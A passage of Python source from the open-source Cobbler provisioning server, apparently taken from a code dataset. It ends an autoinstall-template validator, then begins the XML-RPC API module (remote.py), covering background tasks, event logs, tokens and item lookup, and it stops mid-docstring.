"BaseItem", is_profile: bool) -> List[Any]: """ Validate automatic installation file used by a system/profile. :param obj: system/profile :param is_profile: if obj is a profile :returns: [bool, int, list] list with validation result, errors type and list of errors """ blended = utils.blender(self.api, False, obj) # type: ignore # get automatic installation template autoinstall = blended["autoinstall"] if autoinstall is None or autoinstall == "": self.logger.info( "%s has no automatic installation template set, skipping", obj.name ) return [True, 0, ()] # generate automatic installation file os_version = blended["os_version"] self.logger.info("----------------------------") self.logger.debug("osversion: %s", os_version) if is_profile: self.generate_autoinstall(profile=obj.name) else: self.generate_autoinstall(system=obj.name) last_errors = self.autoinstallgen.get_last_errors() if len(last_errors) > 0: return [False, TEMPLATING_ERROR, last_errors] return [True, 0, ()] def validate_autoinstall_files(self) -> bool: """ Determine if Cobbler automatic OS installation files will be accepted by corresponding Linux distribution installers. The presence of an error does not imply that the automatic installation file is bad, only that the possibility exists. Automatic installation file validators are not available for all automatic installation file types and on all operating systems in which Cobbler may be installed. :return: True if all automatic installation files are valid, otherwise false. """ overall_success = True for profile in self.api.profiles(): (success, errors_type, errors) = self.validate_autoinstall_file( profile, True ) if not success: overall_success = False if len(errors) > 0: self.log_autoinstall_validation_errors(errors_type, errors) for system in self.api.systems(): (success, errors_type, errors) = self.validate_autoinstall_file( system, False ) if not success: overall_success = False if len(errors) > 0: self.log_autoinstall_validation_errors(errors_type, errors) if not overall_success: self.logger.warning( "*** potential errors detected in automatic installation files ***" ) else: self.logger.info("*** all automatic installation files seem to be ok ***") return overall_success
14,377
Python
.py
309
36.132686
120
0.626599
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,092
remote.py
cobbler_cobbler/cobbler/remote.py
""" This module contains all code related to the Cobbler XML-RPC API. Changelog: Schema: From -> To Current Schema: Please refer to the documentation visible of the individual methods. V3.4.0 (unreleased) * Added: * ``set_item_resolved_value`` * ``input_string_or_list_no_inherit`` * ``input_string_or_list`` * ``input_string_or_dict`` * ``input_string_or_dict_no_inherit`` * ``input_boolean`` * ``input_int`` * Changed: * ```get_random_mac``: Change default `virt_type`` to ``kvm`` V3.3.4 (unreleased) * No changes V3.3.3 * Added: * ``get_item_resolved_value`` * ``dump_vars`` V3.3.2 * No changes V3.3.1 * Changed: * ``background_mkgrub``: Renamed to ``background_mkloaders`` V3.3.0 * Added: * ``background_syncsystems`` * ``background_mkgrub`` * ``get_menu`` * ``find_menu`` * ``get_menu_handle`` * ``remove_menu`` * ``copy_menu`` * ``rename_menu`` * ``new_menu`` * ``modify_menu`` * ``save_menu`` * ``get_valid_distro_boot_loaders`` * ``get_valid_image_boot_loaders`` * ``get_valid_profile_boot_loaders`` * ``get_valid_system_boot_loaders`` * ``get_menus_since`` * ``get_menu_as_rendered`` * Changed: * ``generate_gpxe``: Renamed to ``generate_ipxe`` * Removed: * ``background_dlcontent`` * ``get_distro_for_koan`` * ``get_profile_for_koan`` * ``get_system_for_koan`` * ``get_repo_for_koan`` * ``get_image_for_koan`` * ``get_mgmtclass_for_koan`` * ``get_package_for_koan`` * ``get_file_for_koan`` * ``get_file_for_koan`` V3.2.2 * No changes V3.2.1 * Added: * ``auto_add_repos`` V3.2.0 * No changes V3.1.2 * No changes V3.1.1 * No changes V3.1.0 * No changes V3.0.1 * No changes V3.0.0 * Added: * ``generate_profile_autoinstall`` * ``generate_system_autoinstall`` * ``get_valid_archs`` * ``read_autoinstall_template`` * ``write_autoinstall_template`` * ``remove_autoinstall_template`` * ``read_autoinstall_snippet`` * ``write_autoinstall_snippet`` * ``remove_autoinstall_snippet`` * Changed: * ``get_kickstart_templates``: Renamed to ``get_autoinstall_templates`` * ``get_snippets``: Renamed to ``get_autoinstall_snippets`` * ``is_kickstart_in_use``: Renamed to ``is_autoinstall_in_use`` * ``generate_kickstart``: Renamed to ``generate_autoinstall`` * Removed: * ``update`` * ``read_or_write_kickstart_template`` * ``read_or_write_snippet`` V2.8.5 * Inital tracking of changes. """ # SPDX-License-Identifier: GPL-2.0-or-later # SPDX-FileCopyrightText: Copyright 2006-2009, Red Hat, Inc and Others # SPDX-FileCopyrightText: Michael DeHaan <michael.dehaan AT gmail> import base64 import errno import fcntl import keyword import logging import os import random import re import stat import threading import time import xmlrpc.server from socketserver import ThreadingMixIn from typing import ( TYPE_CHECKING, Any, Callable, Dict, Iterable, List, Optional, Sequence, Tuple, Type, Union, ) from xmlrpc.server import SimpleXMLRPCRequestHandler from cobbler import autoinstall_manager, configgen, enums, tftpgen, utils from cobbler.cexceptions import CX from cobbler.items import network_interface, system from cobbler.items.abstract import base_item from cobbler.items.abstract import bootable_item as item from cobbler.utils import signatures from cobbler.utils.event import CobblerEvent from cobbler.utils.thread import CobblerThread from cobbler.validate import ( validate_autoinstall_script_name, validate_obj_name, validate_obj_type, validate_uuid, ) if TYPE_CHECKING: import xmlrpc.client from cobbler.api import CobblerAPI from cobbler.cobbler_collections.collection import ITEM from cobbler.items.abstract.base_item import BaseItem from cobbler.items.distro import Distro from cobbler.items.image import Image from cobbler.items.profile import Profile EVENT_TIMEOUT = 7 * 24 * 60 * 60 # 1 week CACHE_TIMEOUT = 10 * 60 # 10 minutes class CobblerXMLRPCInterface: """ This is the interface used for all XMLRPC methods, for instance, as used by koan or CobblerWeb. Most read-write operations require a token returned from "login". Read operations do not. """ def __init__(self, api: "CobblerAPI"): """ Constructor. Requires a Cobbler API handle. :param api: The api to use for resolving the required information. """ self.api = api self.logger = logging.getLogger() self.token_cache: Dict[str, Tuple[Any, ...]] = {} self.unsaved_items: Dict[str, Tuple[float, "BaseItem"]] = {} self.timestamp = self.api.last_modified_time() self.events: Dict[str, CobblerEvent] = {} self.shared_secret = utils.get_shared_secret() random.seed(time.time()) self.tftpgen = tftpgen.TFTPGen(api) self.autoinstall_mgr = autoinstall_manager.AutoInstallationManager(api) # Semaphore that suspends the execution of the background_load_items when the execution # of any command or any other task begins until it finishes. self.load_items_lock = threading.Semaphore() def check(self, token: str) -> List[str]: """ Returns a list of all the messages/warnings that are things that admin may want to correct about the configuration of the Cobbler server. This has nothing to do with "check_access" which is an auth/authz function in the XMLRPC API. :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. :return: A list of things to address. """ self.check_access(token, "check") return self.api.check() def background_buildiso(self, options: Dict[str, Any], token: str) -> str: """ Generates an ISO in /var/www/cobbler/pub that can be used to install profiles without using PXE. :param options: This parameter does contain the options passed from the CLI or remote API who called this. :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. :return: The id of the task which was started. """ webdir = self.api.settings().webdir def runner(self: CobblerThread): self.remote.api.build_iso( self.options.get("iso", webdir + "/pub/generated.iso"), self.options.get("profiles", None), self.options.get("systems", None), self.options.get("buildisodir", ""), self.options.get("distro", ""), self.options.get("standalone", False), self.options.get("airgapped", False), self.options.get("source", ""), self.options.get("exclude_dns", False), self.options.get("xorrisofs_opts", ""), ) def on_done(self: CobblerThread): if self.options.get("iso", "") == webdir + "/pub/generated.iso": msg = 'ISO now available for <A HREF="/cobbler/pub/generated.iso">download</A>' self.remote._new_event(msg) return self.__start_task( runner, token, "buildiso", "Build Iso", options, on_done ) def background_aclsetup(self, options: Dict[str, Any], token: str) -> str: """ Get the acl configuration from the config and set the acls in the backgroud. :param options: Not known what this parameter does. :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. :return: The id of the task which was started. """ def runner(self: CobblerThread): self.remote.api.acl_config( self.options.get("adduser", None), self.options.get("addgroup", None), self.options.get("removeuser", None), self.options.get("removegroup", None), ) return self.__start_task( runner, token, "aclsetup", "(CLI) ACL Configuration", options ) def background_sync(self, options: Dict[str, Any], token: str) -> str: """ Run a full Cobbler sync in the background. :param options: Possible options: verbose, dhcp, dns :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. :return: The id of the task which was started. """ def runner(self: CobblerThread): if isinstance(self.options, list): raise ValueError("options for background_sync need to be dict!") what: List[str] = [] if self.options.get("dhcp", False): what.append("dhcp") if self.options.get("dns", False): what.append("dns") self.remote.api.sync(self.options.get("verbose", False), what=what) return self.__start_task(runner, token, "sync", "Sync", options) def background_syncsystems(self, options: Dict[str, Any], token: str) -> str: """ Run a lite Cobbler sync in the background with only systems specified. :param options: Unknown what this parameter does. :param token: The API-token obtained via the login() method. :return: The id of the task that was started. """ def runner(self: "CobblerThread"): if isinstance(self.options, list): raise ValueError("options for background_syncsystems need to be dict!") self.remote.api.sync_systems( self.options.get("systems", []), self.options.get("verbose", False) ) return self.__start_task(runner, token, "syncsystems", "Syncsystems", options) def background_hardlink(self, options: Dict[str, Any], token: str) -> str: """ Hardlink all files as a background task. :param options: Not known what this parameter does. :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. :return: The id of the task which was started. """ def runner(self: "CobblerThread"): self.remote.api.hardlink() return self.__start_task(runner, token, "hardlink", "Hardlink", options) def background_validate_autoinstall_files( self, options: Dict[str, Any], token: str ) -> str: """ Validate all autoinstall files in the background. :param options: Not known what this parameter does. :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. :return: The id of the task which was started. """ def runner(self: "CobblerThread"): return self.remote.api.validate_autoinstall_files() return self.__start_task( runner, token, "validate_autoinstall_files", "Automated installation files validation", options, ) def background_replicate(self, options: Dict[str, Any], token: str) -> str: """ Replicate Cobbler in the background to another Cobbler instance. :param options: Not known what this parameter does. :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. :return: The id of the task which was started. """ def runner(self: "CobblerThread"): # FIXME: defaults from settings here should come from views, fix in views.py if isinstance(self.options, list): raise ValueError("options for background_replicate need to be dict!") self.remote.api.replicate( self.options.get("master", None), self.options.get("port", ""), self.options.get("distro_patterns", ""), self.options.get("profile_patterns", ""), self.options.get("system_patterns", ""), self.options.get("repo_patterns", ""), self.options.get("image_patterns", ""), self.options.get("prune", False), self.options.get("omit_data", False), self.options.get("sync_all", False), self.options.get("use_ssl", False), ) return self.__start_task(runner, token, "replicate", "Replicate", options) def background_import(self, options: Dict[str, Any], token: str) -> str: """ Import an ISO image in the background. :param options: Not known what this parameter does. :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. :return: The id of the task which was started. """ def runner(self: "CobblerThread"): if isinstance(self.options, list): raise ValueError("options for background_import need to be dict!") self.remote.api.import_tree( self.options.get("path", None), self.options.get("name", None), self.options.get("available_as", None), self.options.get("autoinstall_file", None), self.options.get("rsync_flags", None), self.options.get("arch", None), self.options.get("breed", None), self.options.get("os_version", None), ) return self.__start_task(runner, token, "import", "Media import", options) def background_reposync(self, options: Dict[str, Any], token: str) -> str: """ Run a reposync in the background. :param options: Not known what this parameter does. :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. :return: The id of the task which was started. """ def runner(self: "CobblerThread"): # NOTE: WebUI passes in repos here, CLI passes only: if isinstance(self.options, list): raise ValueError("options for background_reposync need to be dict!") repos = options.get("repos", []) only = options.get("only", None) if only is not None: repos = [only] nofail = options.get("nofail", len(repos) > 0) if len(repos) > 0: for name in repos: self.remote.api.reposync( tries=self.options.get("tries", 3), name=name, nofail=nofail ) else: self.remote.api.reposync( tries=self.options.get("tries", 3), name=None, nofail=nofail ) return self.__start_task(runner, token, "reposync", "Reposync", options) def background_power_system(self, options: Dict[str, Any], token: str) -> str: """ Power a system asynchronously in the background. :param options: Not known what this parameter does. :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. :return: The id of the task which was started. """ def runner(self: "CobblerThread"): if isinstance(self.options, list): raise ValueError("options for background_power_system need to be dict!") for system_name in self.options.get("systems", []): try: system_obj = self.remote.api.find_system(name=system_name) if system_obj is None or isinstance(system_obj, list): raise ValueError(f'System with name "{system_name}" not found') self.remote.api.power_system( system_obj, self.options.get("power", "") ) except Exception as error: self.logger.warning( f"failed to execute power task on {str(system_name)}, exception: {str(error)}" ) self.check_access(token, "power_system") return self.__start_task( runner, token, "power", f"Power management ({options.get('power', '')})", options, ) def power_system(self, system_id: str, power: str, token: str) -> bool: """Execute power task synchronously. Returns true if the operation succeeded or if the system is powered on (in case of status). False otherwise. :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. All tasks require tokens. :param system_id: system handle :param power: power operation (on/off/status/reboot) """ system_obj = self.api.find_system( criteria={"uid": system_id}, return_list=False ) if system_obj is None or isinstance(system_obj, list): raise ValueError(f'System with uid "{system_id}" not found') self.check_access(token, "power_system", system_obj.name) result = self.api.power_system(system_obj, power) return True if result is None else result def background_signature_update(self, options: Dict[str, Any], token: str) -> str: """ Run a signature update in the background. :param options: Not known what this parameter does. :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. :return: The id of the task which was started. """ def runner(self: "CobblerThread"): self.remote.api.signature_update() self.check_access(token, "sigupdate") return self.__start_task( runner, token, "sigupdate", "Updating Signatures", options ) def background_mkloaders(self, options: Dict[str, Any], token: str) -> str: """ TODO :param options: TODO :param token: TODO :return: TODO """ def runner(self: "CobblerThread"): return self.api.mkloaders() return self.__start_task( runner, token, "mkloaders", "Create bootable bootloader images", options ) def background_load_items(self) -> str: """ Loading items """ def runner(self: "CobblerThread"): item_types = [ "repo", "distro", "menu", "image", "profile", "system", ] lock = self.options.get("load_items_lock", None) if lock is None or not isinstance(lock, threading.Semaphore): return for item_type in item_types: count = 0 begin_time = time.time() collection = self.api.get_items(item_type) names_copy = collection.get_names() for name in names_copy: count += 1 with lock: item_obj = collection.get(name) if item_obj is not None and not item_obj.inmemory: item_obj.deserialize() if count > 0: collection.inmemory = True collections_types = collection.collection_types() self.logger.info( f"{count} {collections_types} loaded in {str(time.time() - begin_time)} seconds" ) if self.api.settings().lazy_start: if isinstance(self.shared_secret, int): raise ValueError("Shared Secret could not successfully be retrieved!") token = self.login("", self.shared_secret) return self.__start_task(runner, token, "load_items", "Loading items", {}) return "" def get_events(self, for_user: str = "") -> Dict[str, List[Union[str, float]]]: """ Returns a dict(key=event id) = [ statetime, name, state, [read_by_who] ] :param for_user: (Optional) Filter events the user has not seen yet. If left unset, it will return all events. :return: A dictionary with all the events (or all filtered events). """ # Check for_user not none if not isinstance(for_user, str): # type: ignore raise TypeError('"for_user" must be of type str (may be empty str)!') # return only the events the user has not seen events_filtered: Dict[str, List[Union[str, float]]] = {} for event_details in self.events.values(): if for_user in event_details.read_by_who: continue events_filtered[event_details.event_id] = list(event_details) # type: ignore # If a user is given (and not already in read list), add read tag, so user won't get the event twice if for_user and for_user not in event_details.read_by_who: event_details.read_by_who.append(for_user) return events_filtered def get_event_log(self, event_id: str) -> str: """ Returns the contents of a task log. Events that are not task-based do not have logs. :param event_id: The event-id generated by Cobbler. :return: The event log or a ``?``. """ if not isinstance(event_id, str): # type: ignore raise TypeError('"event_id" must be of type str!') if event_id not in self.events: # This ensures the event_id is valid, and we only read files we want to read. return "?" path = f"/var/log/cobbler/tasks/{event_id}.log" self._log(f"getting log for {event_id}") if os.path.exists(path): with open(path, "r", encoding="utf-8") as event_log_fd: data = str(event_log_fd.read()) return data return "?" def _new_event(self, name: str) -> CobblerEvent: """ Generate a new event in the in memory event list. :param name: The name of the event. """ new_event = CobblerEvent(name=name, statetime=time.time()) self.events[new_event.event_id] = new_event return new_event def __start_task( self, thr_obj_fn: Callable[["CobblerThread"], None], token: str, role_name: str, name: str, args: Dict[str, Any], on_done: Optional[Callable[["CobblerThread"], None]] = None, ): """ Starts a new background task. :param thr_obj_fn: function handle to run in a background thread :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. All tasks require tokens. :param role_name: used to check token against authn/authz layers :param name: display name to show in logs/events :param args: usually this is a single dict, containing options :param on_done: an optional second function handle to run after success (and only success) :return: a task id. """ self.check_access(token, role_name) new_event = self._new_event(name=name) self._log(f"create_task({name}); event_id({new_event.event_id})") args["load_items_lock"] = self.load_items_lock thr_obj = CobblerThread( new_event.event_id, self, args, role_name, self.api, thr_obj_fn, on_done ) thr_obj.start() return new_event.event_id def get_task_status(self, event_id: str) -> List[Union[str, float, List[str]]]: """ Get the current status of the task. :param event_id: The unique id of the task. :return: The event status. """ if not isinstance(event_id, str): # type: ignore raise TypeError('"event_id" must be of type str!') if event_id not in self.events: raise CX("no event with that id") # The following works because __getitem__ is implemented. return list(self.events[event_id]) # type: ignore def last_modified_time(self, token: Optional[str] = None) -> float: """ Return the time of the last modification to any object. Used to verify from a calling application that no Cobbler objects have changed since last check. This method is implemented in the module api under the same name. :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. :return: 0 if there is no file where the information required for this method is saved. """ return self.api.last_modified_time() def ping(self) -> bool: """ Deprecated method. Now does nothing. :return: Always True """ return True def get_user_from_token(self, token: Optional[str]) -> str: """ Given a token returned from login, return the username that logged in with it. :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. :return: The username if the token was valid. :raises CX: If the token supplied to the function is invalid. :raises ValueError: In case "token" did not fulfil the requirements to be a token. """ if not CobblerXMLRPCInterface.__is_token(token): raise ValueError('"token" did not have the correct format or type!') if token not in self.token_cache: raise CX(f"invalid token: {token}") return self.token_cache[token][1] def _log( self, msg: str, token: Optional[str] = None, name: Optional[str] = None, object_id: Optional[str] = None, attribute: Optional[str] = None, debug: bool = False, error: bool = False, ): """ Helper function to write data to the log file from the XMLRPC remote implementation. Takes various optional parameters that should be supplied when known. :param msg: The message to log. :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. :param name: The name of the object should be supplied when it is known. :param object_id: The object id should be supplied when it is known. :param attribute: Additional attributes should be supplied if known. :param debug: If the message logged is a debug message. :param error: If the message logged is an error message. """ if not all( (isinstance(error, bool), isinstance(debug, bool), isinstance(msg, str)) # type: ignore ): return # add the user editing the object, if supplied m_user = "?" if token is not None: try: m_user = self.get_user_from_token(token) except Exception: # invalid or expired token? m_user = "???" msg = f"REMOTE {msg}; user({m_user})" if name is not None: if not validate_obj_name(name): return msg = f"{msg}; name({name})" if object_id is not None: if not validate_uuid(object_id): return msg = f"{msg}; object_id({object_id})" # add any attributes being modified, if any if attribute: if ( isinstance(attribute, str) and attribute.isidentifier() # type: ignore ) or keyword.iskeyword(attribute): return msg = f"{msg}; attribute({attribute})" # log to the correct logger if error: self.logger.error(msg) elif debug: self.logger.debug(msg) else: self.logger.info(msg) def __sort( self, data: Iterable["ITEM"], sort_field: Optional[str] = None ) -> List["ITEM"]: """ Helper function used by the various find/search functions to return object representations in order. :param data: The data to sort. :param sort_field: If the field contained in this starts with "!" then this sorts backwards. :return: The data sorted by the ``sort_field``. """ sort_fields = ["name"] sort_rev = False if sort_field is not None: if sort_field.startswith("!"): sort_field = sort_field[1:] sort_rev = True sort_fields.insert(0, sort_field) sortdata = [(x.sort_key(sort_fields), x) for x in data] if sort_rev: sortdata.sort(reverse=True) else: sortdata.sort() return [x for (_, x) in sortdata] def __paginate( self, data: Sequence["ITEM"], page: int = 1, items_per_page: int = 25, token: Optional[str] = None, ) -> Tuple[Sequence["ITEM"], Dict[str, Union[List[int], int]]]: """ Helper function to support returning parts of a selection, for example, for use in a web app where only a part of the results are to be presented on each screen. :param data: The data to paginate. :param page: The page to show. :param items_per_page: The number of items per page. :param token: The API-token obtained via the login() method. :return: The paginated items. """ default_page = 1 default_items_per_page = 25 try: page = int(page) if page < 1: page = default_page except Exception: page = default_page try: items_per_page = int(items_per_page) if items_per_page <= 0: items_per_page = default_items_per_page except Exception: items_per_page = default_items_per_page num_items = len(data) num_pages = ((num_items - 1) // items_per_page) + 1 if num_pages == 0: num_pages = 1 if page > num_pages: page = num_pages start_item = items_per_page * (page - 1) end_item = start_item + items_per_page if start_item > num_items: start_item = num_items - 1 if end_item > num_items: end_item = num_items data = data[start_item:end_item] if page > 1: prev_page = page - 1 else: prev_page = -1 if page < num_pages: next_page = page + 1 else: next_page = -1 return ( data, { "page": page, "prev_page": prev_page, "next_page": next_page, "pages": list(range(1, num_pages + 1)), "num_pages": num_pages, "num_items": num_items, "start_item": start_item, "end_item": end_item, "items_per_page": items_per_page, "items_per_page_list": [10, 20, 50, 100, 200, 500], }, ) def __get_object(self, object_id: str) -> "BaseItem": """ Helper function. Given an object id, return the actual object. :param object_id: The id for the object to retrieve. :return: The item to the corresponding id. """ if object_id in self.unsaved_items: return self.unsaved_items[object_id][1] obj = self.api.find_items("", criteria={"uid": object_id}, return_list=False) if obj is None or isinstance(obj, list): raise ValueError("Object not found or ambigous match!") return obj def get_item_resolved_value( self, item_uuid: str, attribute: str ) -> Union[str, int, float, List[Any], Dict[Any, Any]]: """ .. seealso:: Logically identical to :func:`~cobbler.api.CobblerAPI.get_item_resolved_value` """ self._log(f"get_item_resolved_value({item_uuid})", attribute=attribute) return_value: Optional[ Union[str, int, float, enums.ConvertableEnum, List[Any], Dict[Any, Any]] ] = self.api.get_item_resolved_value(item_uuid, attribute) if return_value is None: self._log( f"get_item_resolved_value({item_uuid}): returned None", attribute=attribute, ) raise ValueError( f'None is not a valid value for the resolved attribute "{attribute}". Please fix the item(s) ' f'starting at uuid "{item_uuid}"' ) if isinstance(return_value, enums.ConvertableEnum): return return_value.value if isinstance( return_value, ( enums.DHCP, enums.NetworkInterfaceType, enums.BaudRates, item.BootableItem, ), ): return return_value.name if isinstance(return_value, dict): if ( attribute == "interfaces" and len(return_value) > 0 and all( isinstance(value, network_interface.NetworkInterface) for value in return_value.values() ) ): interface_return_value: Dict[Any, Any] = {} for interface_name in return_value: interface_return_value[interface_name] = return_value[ interface_name ].to_dict(resolved=True) return interface_return_value return self.xmlrpc_hacks(return_value) if not isinstance( return_value, (str, int, float, bool, tuple, bytes, bytearray, dict, list) ): self._log( f"get_item_resolved_value({item_uuid}): Cannot return XML-RPC compliant type. Please add a case to" f' convert type "{type(return_value)}" to an XML-RPC compliant type!' ) raise ValueError( "Cannot return XML-RPC compliant type. See logs for more information!" ) return return_value def set_item_resolved_value( self, item_uuid: str, attribute: str, value: Any, token: Optional[str] = None ): """ .. seealso:: Logically identical to :func:`~cobbler.api.CobblerAPI.set_item_resolved_value` """ self._log(f"get_item_resolved_value({item_uuid})", attribute=attribute) # Duplicated logic to check from api.py method, but we require this to check the access of the user. if not validate_uuid(item_uuid): raise ValueError("The given uuid did not have the correct format!") obj = self.api.find_items( "", {"uid": item_uuid}, return_list=False, no_errors=True ) if obj is None or isinstance(obj, list): raise ValueError(f'Item with item_uuid "{item_uuid}" did not exist!') self.check_access(token, f"modify_{obj.COLLECTION_TYPE}", obj.name, attribute) return self.api.set_item_resolved_value(item_uuid, attribute, value) def get_item( self, what: str, name: str, flatten: bool = False, resolved: bool = False ): """ Returns a dict describing a given object. :param what: "distro", "profile", "system", "image", "repo", etc :param name: the object name to retrieve :param flatten: reduce dicts to string representations (True/False) :param resolved: If this is True, Cobbler will resolve the values to its final form, rather than give you the objects raw value. :return: The item or None. """ self._log(f"get_item({what},{name})") item_handle = self.get_item_handle(what, name) try: requested_item = self.__get_object(item_handle) except ValueError: return self.xmlrpc_hacks(None) requested_item = requested_item.to_dict(resolved=resolved) if flatten: requested_item = utils.flatten(requested_item) return self.xmlrpc_hacks(requested_item) def get_distro( self, name: str, flatten: bool = False, resolved: bool = False, token: Optional[str] = None, **rest: Any, ): """ Get a distribution. :param name: The name of the distribution to get. :param flatten: If the item should be flattened. :param resolved: If this is True, Cobbler will resolve the values to its final form, rather than give you the objects raw value. :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. :param rest: Not used with this method currently. :return: The item or None. """ return self.get_item("distro", name, flatten=flatten, resolved=resolved) def get_profile( self, name: str, flatten: bool = False, resolved: bool = False, token: Optional[str] = None, **rest: Any, ): """ Get a profile. :param name: The name of the profile to get. :param flatten: If the item should be flattened. :param resolved: If this is True, Cobbler will resolve the values to its final form, rather than give you the objects raw value. :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. :param rest: Not used with this method currently. :return: The item or None. """ return self.get_item("profile", name, flatten=flatten, resolved=resolved) def get_system( self, name: str, flatten: bool = False, resolved: bool = False, token: Optional[str] = None, **rest: Any, ): """ Get a system. :param name: The name of the system to get. :param flatten: If the item should be flattened. :param resolved: If this is True, Cobbler will resolve the values to its final form, rather than give you the objects raw value. :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. :param rest: Not used with this method currently. :return: The item or None. """ return self.get_item("system", name, flatten=flatten, resolved=resolved) def get_repo( self, name: str, flatten: bool = False, resolved: bool = False, token: Optional[str] = None, **rest: Any, ): """ Get a repository. :param name: The name of the repository to get. :param flatten: If the item should be flattened. :param resolved: If this is True, Cobbler will resolve the values to its final form, rather than give you the objects raw value. :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. :param rest: Not used with this method currently. :return: The item or None. """ return self.get_item("repo", name, flatten=flatten, resolved=resolved) def get_image( self, name: str, flatten: bool = False, resolved: bool = False, token: Optional[str] = None, **rest: Any, ): """ Get an image. :param name: The name of the image to get. :param flatten: If the item should be flattened. :param resolved: If this is True, Cobbler will resolve the values to its final form, rather than give you the objects raw value. :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. :param rest: Not used with this method currently. :return: The item or None. """ return self.get_item("image", name, flatten=flatten, resolved=resolved) def get_menu( self, name: str, flatten: bool = False, resolved: bool = False, token: Optional[str] = None, **rest: Any, ): """ Get a menu. :param name: The name of the file to get. :param flatten: If the item should be flattened. :param resolved: If this is True, Cobbler will resolve the values to its final form, rather than give you the objects raw value. :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. :param rest: Not used with this method currently. :return: The item or None. """ return self.get_item("menu", name, flatten=flatten, resolved=resolved) def get_items(self, what: str) -> List[Dict[str, Any]]: """ Individual list elements are the same for get_item. :param what: is the name of a Cobbler object type, as described for get_item. :return: This returns a list of dicts. """ items = [x.to_dict() for x in self.api.get_items(what)] return self.xmlrpc_hacks(items) # type: ignore def get_item_names(self, what: str) -> List[str]: """ This is just like get_items, but transmits less data. :param what: is the name of a Cobbler object type, as described for get_item. :return: Returns a list of object names (keys) for the given object type. """ return [x.name for x in self.api.get_items(what)] def get_distros( self, page: Any = None, results_per_page: Any = None, token: Optional[str] = None, **rest: Any, ) -> List[Dict[str, Any]]: """ This returns all distributions. :param page: This parameter is not used currently. :param results_per_page: This parameter is not used currently. :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. :param rest: This parameter is not used currently. :return: The list with all distros. """ return self.get_items("distro") def get_profiles( self, page: Any = None, results_per_page: Any = None, token: Optional[str] = None, **rest: Any, ) -> List[Dict[str, Any]]: """ This returns all profiles. :param page: This parameter is not used currently. :param results_per_page: This parameter is not used currently. :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. :param rest: This parameter is not used currently. :return: The list with all profiles. """ return self.get_items("profile") def get_systems( self, page: Any = None, results_per_page: Any = None, token: Optional[str] = None, **rest: Any, ) -> List[Dict[str, Any]]: """ This returns all Systems. :param page: This parameter is not used currently. :param results_per_page: This parameter is not used currently. :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. :param rest: This parameter is not used currently. :return: The list of all systems. """ return self.get_items("system") def get_repos( self, page: Any = None, results_per_page: Any = None, token: Optional[str] = None, **rest: Any, ) -> List[Dict[str, Any]]: """ This returns all repositories. :param page: This parameter is not used currently. :param results_per_page: This parameter is not used currently. :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. :param rest: This parameter is not used currently. :return: The list of all repositories. """ return self.get_items("repo") def get_images( self, page: Any = None, results_per_page: Any = None, token: Optional[str] = None, **rest: Any, ) -> List[Dict[str, Any]]: """ This returns all images. :param page: This parameter is not used currently. :param results_per_page: This parameter is not used currently. :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. :param rest: This parameter is not used currently. :return: The list of all images. """ return self.get_items("image") def get_menus( self, page: Any = None, results_per_page: Any = None, token: Optional[str] = None, **rest: Any, ) -> List[Dict[str, Any]]: """ This returns all menus. :param page: This parameter is not used currently. :param results_per_page: This parameter is not used currently. :param token: The API-token obtained via the login() method. :param rest: This parameter is not used currently. :return: The list of all files. """ return self.get_items("menu") def find_items( self, what: str, criteria: Optional[Dict[str, Any]] = None, sort_field: Optional[str] = None, expand: bool = False, resolved: bool = False, token: Optional[str] = None, **rest: Any, ) -> List[Any]: """Works like get_items but also accepts criteria as a dict to search on. Example: ``{ "name" : "*.example.org" }`` Wildcards work as described by 'pydoc fnmatch'. :param what: The object type to find. :param criteria: The criteria an item needs to match. :param sort_field: The field to sort the results after. :param expand: Not only get the names but also the complete object in form of a dict. :param resolved: This only has an effect when ``expand = True``. It returns the resolved representation of the object instead of the raw data. :returns: A list of dicts. """ if criteria is None: criteria = {} # self._log("find_items(%s); criteria(%s); sort(%s)" % (what, criteria, sort_field)) if "name" in criteria: name = criteria.pop("name") items = self.api.find_items(what, criteria=criteria, name=name) else: items = self.api.find_items(what, criteria=criteria) if items is None: return [] items = self.__sort(items, sort_field) # type: ignore if not expand: items = [x.name for x in items] # type: ignore else: items = [x.to_dict(resolved=resolved) for x in items] # type: ignore return self.xmlrpc_hacks(items) # type: ignore def find_distro( self, criteria: Optional[Dict[str, Any]] = None, expand: bool = False, resolved: bool = False, token: Optional[str] = None, **rest: Any, ) -> List[Any]: """ Find a distro matching certain criteria. :param criteria: The criteria a distribution needs to match. :param expand: Not only get the names but also the complete object in form of a dict. :param resolved: This only has an effect when ``expand = True``. It returns the resolved representation of the object instead of the raw data. :param token: The API-token obtained via the login() method. :param rest: This parameter is not used currently. :return: All distributions which have matched the criteria. """ return self.find_items("distro", criteria, expand=expand, resolved=resolved) def find_profile( self, criteria: Optional[Dict[str, Any]] = None, expand: bool = False, resolved: bool = False, token: Optional[str] = None, **rest: Any, ) -> List[Any]: """ Find a profile matching certain criteria. :param criteria: The criteria a distribution needs to match. :param expand: Not only get the names but also the complete object in form of a dict. :param resolved: This only has an effect when ``expand = True``. It returns the resolved representation of the object instead of the raw data. :param token: The API-token obtained via the login() method. :param rest: This parameter is not used currently. :return: 